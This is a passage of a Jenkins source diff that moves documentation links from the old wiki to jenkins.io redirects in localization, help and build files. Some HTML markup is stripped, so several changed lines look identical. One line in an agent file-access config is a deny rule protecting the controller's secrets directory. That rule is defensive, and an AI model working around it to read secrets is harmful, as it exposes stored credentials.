\u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u0442 UTF-8 \u0437\u0430 \u0434\u0435\u043A\u043E\u0434\u0438\u0440\u0430\u045A\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0435. \u0410\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0435 \u0432\u0430\u043D ASCII \u043D\u0438\u0437\u0430 \u0443 \u0438\u043C\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0438\u0442\u0434, \u043C\u043E\u0436\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041E\u0442\u0438\u0452\u0438 \u0442\u0435 \u043D\u0430 \u041A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438 \u0438 \ + Tomcat i18n \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. Hudson.NodeDescription=\u0433\u043B\u0430\u0432\u043D\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0430 Hudson.NoParamsSpecified=\u041D\u0438\u0441\u0443 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u0437\u043E\u0432\u0430\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 CLI.restart.shortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_zh_TW.properties b/core/src/main/resources/jenkins/model/Messages_zh_TW.properties index f6f91ac63f..d67098e7cd 100644 --- a/core/src/main/resources/jenkins/model/Messages_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Messages_zh_TW.properties @@ -35,8 +35,8 @@ Hudson.ViewAlreadyExists=\u5df2\u7d93\u6709\u53eb\u505a "{0}" \u7684\u8996\u666f Hudson.ViewName=\u5168\u90e8 Hudson.NotUsesUTF8ToDecodeURL=\ \u60a8\u7684\u5bb9\u5668\u4e0d\u662f\u4f7f\u7528 UTF-8 \u89e3\u8b6f URL\u3002\u5982\u679c\u60a8\u5728\u4f5c\u696d\u7b49\u540d\u7a31\u4e2d\u4f7f\u7528\u4e86\u975e ASCII \u5b57\u5143\uff0c\u53ef\u80fd\u6703\u9020\u6210\u554f\u984c\u3002\ - \u8acb\u53c3\u8003 Container \u53ca \ - Tomcat i18n \u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Container \u53ca \ + Tomcat i18n \u8cc7\u6599\u3002 Hudson.ReadPermission.Description=\ \u6709\u8b80\u53d6\u6b0a\u9650\u624d\u80fd\u770b\u5230 Jenkins \u7684\u5927\u90e8\u5206\u7db2\u9801\u3002\ \u5982\u679c\u60a8\u4e0d\u60f3\u8b93\u6c92\u901a\u904e\u9a57\u8b49\u7684\u4f7f\u7528\u8005\u770b\u5230 Jenkins \u7db2\u9801\uff0c\u8acb\u64a4\u92b7 anonymous \u4f7f\u7528\u8005\u7684\u6b0a\u9650\uff0c\ diff --git a/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly index 6385169b5d..bb1aa64e61 100644 --- a/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly +++ b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index.jelly @@ -28,8 +28,8 @@ THE SOFTWARE.

                                                                      - To reverse the effect of JENKINS-24380 fix, run the following command - on the server. See Wiki page + To reverse the effect of build record migration, run the following command + on the server. See documentation for more details:

                                                                      diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html index a9dec4a07f..52babf7ea8 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken.html @@ -1,5 +1,5 @@
                                                                      This API token can be used for authenticating yourself in the REST API call. - See our wiki for more details. + See our wiki for more details. The API token should be protected like your password, as it allows other people to access Jenkins as you.
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html index 7def6fa51d..a1c92c37d5 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_ja.html @@ -1,5 +1,5 @@
                                                                      APIトークンは、REST API使用時の認証に使用されます。 - 詳細はWikiを参照してください。 + 詳細はWikiを参照してください。 APIトークンはパスワードと同様に保護する必要があります。そうしないと、他人が詐称してJenkinsにアクセス可能になります。
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html index ea7097fea7..512564dd8a 100644 --- a/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/help-apiToken_zh_TW.html @@ -1,5 +1,5 @@
                                                                      您在呼叫 REST API 時要使用 API Token 驗證。 - 詳情請參考我們的 Wiki。 + 詳情請參考我們的 Wiki。 API Token 應該當做密碼一樣好好保管,因為有了它,其他人就能跟您一樣存取 Jenkins。
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties index 2daf3f7e8f..1c4f0310fb 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message.properties @@ -1,9 +1,9 @@ pleaseRekeyAsap=\ - Because of a security vulnerability discovered earlier, we need to \ + Because of a security vulnerability discovered earlier, we need to \ change the encryption key used to protect secrets in your configuration files on the disk. \ This process scans a large portion of your $JENKINS_HOME ({0}), \ find encrypted data, re-key them, which will take some time. \ - See this document for more implications about different ways of doing this \ + See this document for more implications about different ways of doing this \ (or not doing this.) This operation can be safely run in background, but cautious users \ are recommended to take backups. diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties index 90928beebd..02192317a7 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties @@ -1,11 +1,11 @@ # This file is under the MIT License by authors pleaseRekeyAsap=\ - \u0417\u0431\u043E\u0433 \u043E\u0442\u0440\u0438\u0432\u0435\u043D\u0435 \u0440\u0430\u045A\u0438\u0432\u043E\u0441\u0442\u0438, \u043C\u043E\u0440\u0430\u043C\u043E \ + \u0417\u0431\u043E\u0433 \u043E\u0442\u0440\u0438\u0432\u0435\u043D\u0435 \u0440\u0430\u045A\u0438\u0432\u043E\u0441\u0442\u0438, \u043C\u043E\u0440\u0430\u043C\u043E \ \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0438 \u043A\u0459\u0443\u0447 \u0437\u0430 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 \u0442\u0430\u0458\u043D\u0438 \u0434\u0430 \u0434\u0438\u0441\u043A\u0443. \ \u0422\u0430\u0458 \u043F\u0440\u043E\u0446\u0435\u0441 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438 \u0432\u0435\u043B\u0438\u043A\u0438 \u0434\u0435\u043E \u0432\u0430\u0448\u0435\u0433 $JENKINS_HOME ({0}) \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430, \ \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0447\u0443\u043D\u0430 \u0445\u0435\u0448 \u0437\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435, \u0448\u0442\u043E \u043C\u043E\u0436\u0435 \u043F\u0440\u0438\u043B\u0438\u0447\u043D\u043E \u0434\u0443\u0433\u043E \u0442\u0440\u0430\u0458\u0430\u0442\u0438. \ - \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043E\u0432\u0430\u0458 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442 \u0433\u0434\u0435 \u0441\u0435 \u043F\u0438\u0448\u0435 \u043E \u0432\u0438\u0448\u0435 \u0438\u043C\u043F\u043B\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043D\u0430\u0447\u0438\u043D\u0435 \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043E\u0432\u0430\u0458 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442 \u0433\u0434\u0435 \u0441\u0435 \u043F\u0438\u0448\u0435 \u043E \u0432\u0438\u0448\u0435 \u0438\u043C\u043F\u043B\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043D\u0430\u0447\u0438\u043D\u0435 \ \u041E\u0432\u0430 \u043E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0430 \u0441\u0435 \u043C\u043E\u0436\u0435 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0443 \u043F\u043E\u0437\u0430\u0434\u0438\u043D\u0438, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043E\u0431\u0430\u0437\u0440\u0438\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \ \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u043D\u0430\u043F\u0440\u0430\u0432\u0438\u0442\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043D\u0435 \u043A\u043E\u043F\u0438\u0458\u0435 \u043F\u043E\u0434\u0430\u0446\u0438\u043C\u0430. diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties index 6887c4f899..4376595018 100644 --- a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_zh_TW.properties @@ -21,10 +21,10 @@ # THE SOFTWARE. pleaseRekeyAsap=\ - \u70ba\u4e86\u4fee\u6b63\u5148\u524d\u767c\u73fe\u7684\u5b89\u5168\u6027\u5f31\u9ede\uff0c\ + \u70ba\u4e86\u4fee\u6b63\u5148\u524d\u767c\u73fe\u7684\u5b89\u5168\u6027\u5f31\u9ede\uff0c\ \u7528\u4f86\u4fdd\u8b77\u78c1\u789f\u4e0a\u542b\u6a5f\u654f\u8a2d\u5b9a\u6a94\u7684\u52a0\u5bc6\u91d1\u9470\u4e00\u5b9a\u8981\u66f4\u6539\u3002\ \u6574\u500b\u7a0b\u5e8f\u6703\u6383\u63cf\u60a8 $JENKINS_HOME ({0}) \u4e2d\u7684\u5927\u90e8\u5206\u6a94\u6848\uff0c\u627e\u51fa\u52a0\u5bc6\u7684\u8cc7\u6599\u91cd\u5957\u91d1\u9470\uff0c\u53ef\u80fd\u8981\u82b1\u4e0a\u4e0d\u5c11\u6642\u9593\u3002\ - \u9019\u4efd\u6587\u4ef6\u8aaa\u660e\u4e86\u5be6\u65bd (\u6216\u4ec0\u9ebc\u4e8b\u90fd\u4e0d\u505a) \u9019\u9805\u63aa\u65bd\u7684\u65b9\u6cd5\u53ca\u5f71\u97ff\u3002\ + \u9019\u4efd\u6587\u4ef6\u8aaa\u660e\u4e86\u5be6\u65bd (\u6216\u4ec0\u9ebc\u4e8b\u90fd\u4e0d\u505a) \u9019\u9805\u63aa\u65bd\u7684\u65b9\u6cd5\u53ca\u5f71\u97ff\u3002\ \u9019\u9805\u4f5c\u696d\u53ef\u4ee5\u5b89\u5168\u7684\u5728\u80cc\u666f\u57f7\u884c\uff0c\u4e0d\u904e\u5982\u679c\u60a8\u5f88\u8b39\u614e\uff0c\u5efa\u8b70\u60a8\u5148\u505a\u597d\u5099\u4efd\u3002 rekeyInProgress=\u91d1\u9470\u91cd\u5957\u4e2d\u3002\u60a8\u53ef\u4ee5\u67e5\u770b\u8a18\u9304\u3002 diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index 605668acd7..0905bd0ce8 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -17,7 +17,7 @@ deny all /secrets($|/.*) # User content is publicly readable, so quite safe for slaves to read, too. # (The xunit plugin is known to read from here.) -# https://wiki.jenkins-ci.org/display/JENKINS/User+Content +# https://jenkins.io/redirect/user-content-directory allow read,stat /userContent($|/.*) # In the next rule we grant general access under build directories, so first we protect diff --git a/core/src/main/resources/lib/hudson/queue.jelly b/core/src/main/resources/lib/hudson/queue.jelly index d66122f799..010fffb949 100644 --- a/core/src/main/resources/lib/hudson/queue.jelly +++ b/core/src/main/resources/lib/hudson/queue.jelly @@ -79,7 +79,7 @@ THE SOFTWARE.   - + diff --git a/core/src/main/resources/lib/layout/layout.properties b/core/src/main/resources/lib/layout/layout.properties index 2e349f762e..b904b8f879 100644 --- a/core/src/main/resources/lib/layout/layout.properties +++ b/core/src/main/resources/lib/layout/layout.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. # do not localize unless a localized wiki page really exists. -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box logout=log out diff --git a/core/src/main/resources/lib/layout/layout_bg.properties b/core/src/main/resources/lib/layout/layout_bg.properties index 43583498cd..617000a662 100644 --- a/core/src/main/resources/lib/layout/layout_bg.properties +++ b/core/src/main/resources/lib/layout/layout_bg.properties @@ -27,4 +27,4 @@ logout=\ search=\ \u0422\u044a\u0440\u0441\u0435\u043d\u0435 searchBox.url=\ - http://wiki.jenkins-ci.org/display/JENKINS/Search+Box + https://jenkins.io/redirect/search-box diff --git a/core/src/main/resources/lib/layout/layout_ja.properties b/core/src/main/resources/lib/layout/layout_ja.properties index 292505a78e..d512aeabd4 100644 --- a/core/src/main/resources/lib/layout/layout_ja.properties +++ b/core/src/main/resources/lib/layout/layout_ja.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -searchBox.url=http://wiki.jenkins-ci.org/display/JA/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box search=\u691c\u7d22 Page\ generated=\u30DA\u30FC\u30B8\u66F4\u65B0\u6642 logout=\u30ed\u30b0\u30a2\u30a6\u30c8 diff --git a/core/src/main/resources/lib/layout/layout_pt_BR.properties b/core/src/main/resources/lib/layout/layout_pt_BR.properties index 0b54c81590..bba621933b 100644 --- a/core/src/main/resources/lib/layout/layout_pt_BR.properties +++ b/core/src/main/resources/lib/layout/layout_pt_BR.properties @@ -22,7 +22,7 @@ search=pesquisar Page\ generated=P\u00E1gina gerada -# http://wiki.jenkins-ci.org/display/JENKINS/Search+Box -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +# https://jenkins.io/redirect/search-box +searchBox.url=https://jenkins.io/redirect/search-box # log out logout=sair diff --git a/core/src/main/resources/lib/layout/layout_sr.properties b/core/src/main/resources/lib/layout/layout_sr.properties index bcf87ace3d..c20bd5b80a 100644 --- a/core/src/main/resources/lib/layout/layout_sr.properties +++ b/core/src/main/resources/lib/layout/layout_sr.properties @@ -23,4 +23,4 @@ Page\ generated=\u0418\u0437\u0433\u0435\u043D\u0435\u0440\u0438\u0441\u0430\u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0430 logout=\u041E\u0434\u0458\u0430\u0432\u0438 \u0441\u0435 search=\u041F\u0440\u0435\u0442\u0440\u0430\u0433\u0430 -searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box +searchBox.url=https://jenkins.io/redirect/search-box diff --git a/licenseCompleter.groovy b/licenseCompleter.groovy index 788e51a529..9c6d8eca8e 100644 --- a/licenseCompleter.groovy +++ b/licenseCompleter.groovy @@ -8,7 +8,7 @@ complete { def lgpl = license("LGPL 2.1","http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html") def mitLicense = license("MIT License","http://www.opensource.org/licenses/mit-license.php") def bsdLicense = license("BSD License","http://opensource.org/licenses/BSD-2-Clause") - def jenkinsLicense = license("MIT License","http://jenkins-ci.org/mit-license") + def jenkinsLicense = license("MIT License","https://jenkins.io/mit-license") def ccby = license("Creative Commons Attribution License","http://creativecommons.org/licenses/by/2.5") diff --git a/pom.xml b/pom.xml index 26c4c243a2..27f9e02231 100644 --- a/pom.xml +++ b/pom.xml @@ -73,11 +73,6 @@ THE SOFTWARE. https://issues.jenkins-ci.org/browse/JENKINS/component/15593 - - jenkins - https://ci.jenkins-ci.org/job/jenkins_main_trunk/ - - @@ -103,7 +98,7 @@ THE SOFTWARE. 7 - https://jenkins-ci.org/changelog + https://jenkins.io/changelog - Also see + Also see this document for more about logging in Java and Jenkins. diff --git a/war/src/main/webapp/help/LogRecorder/logger_de.html b/war/src/main/webapp/help/LogRecorder/logger_de.html index 15bf60b3b7..5ce55eccd1 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_de.html +++ b/war/src/main/webapp/help/LogRecorder/logger_de.html @@ -10,6 +10,6 @@ Bei mehreren Einträgen wird jede Log-Meldung aufgezeichnet, die mindestens einem Eintrag entspricht ("ODER-Verknüpfung" der Einträge).

                                                                      - + Mehr über Logging in Java und Jenkins... diff --git a/war/src/main/webapp/help/LogRecorder/logger_fr.html b/war/src/main/webapp/help/LogRecorder/logger_fr.html index 995dd33083..77d16f85c5 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_fr.html +++ b/war/src/main/webapp/help/LogRecorder/logger_fr.html @@ -8,6 +8,6 @@ Si vous avez des entrées multiples, une demande de log qui correspond à l'un d'entre eux sera bien enregistrée.

                                                                      - Voyez également + Voyez également ce document pour plus de détails sur le logging en Java et avec Jenkins. diff --git a/war/src/main/webapp/help/LogRecorder/logger_ja.html b/war/src/main/webapp/help/LogRecorder/logger_ja.html index 4e9bff579e..d6c8352ec9 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_ja.html +++ b/war/src/main/webapp/help/LogRecorder/logger_ja.html @@ -8,6 +8,6 @@ 複数のロガーを登録すると、それらすべてを満たすログが収集されます。

                                                                      - JavaとJenkinsのロギングについての詳細は、このドキュメントも + JavaとJenkinsのロギングについての詳細は、このドキュメントも 参照してください。 diff --git a/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html b/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html index e5556e2a1d..6024267571 100644 --- a/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html +++ b/war/src/main/webapp/help/LogRecorder/logger_zh_TW.html @@ -7,6 +7,6 @@ 如果您有多個記錄器,一筆記錄只要符合其中任何一個記錄器設定,就會被錄製起來。

                                                                      - 請一併參考這份文件, + 請一併參考這份文件, 了解 Java 及 Jenkins 的記錄功能。 diff --git a/war/src/main/webapp/help/project-config/downstream.html b/war/src/main/webapp/help/project-config/downstream.html index 33853b49bd..997b1dfa59 100644 --- a/war/src/main/webapp/help/project-config/downstream.html +++ b/war/src/main/webapp/help/project-config/downstream.html @@ -14,8 +14,8 @@ from the current project location, like "grp/abc" where "grp" is located at the same level as the current project. Examples of plugins that provide such implementation include but are not limited to the - CloudBees Folder Plugin + CloudBees Folder Plugin and the - Multi-Branch Project Plugin + Pipeline Multibranch Plugin

                                                                      \ No newline at end of file diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index ee0e4265d3..49c8aa0193 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -2459,7 +2459,7 @@ function shortenName(name) { // // structured form submission handling -// see http://wiki.jenkins-ci.org/display/JENKINS/Structured+Form+Submission +// see https://jenkins.io/redirect/developer/structured-form-submission function buildFormTree(form) { try { // I initially tried to use an associative array with DOM elements as keys -- GitLab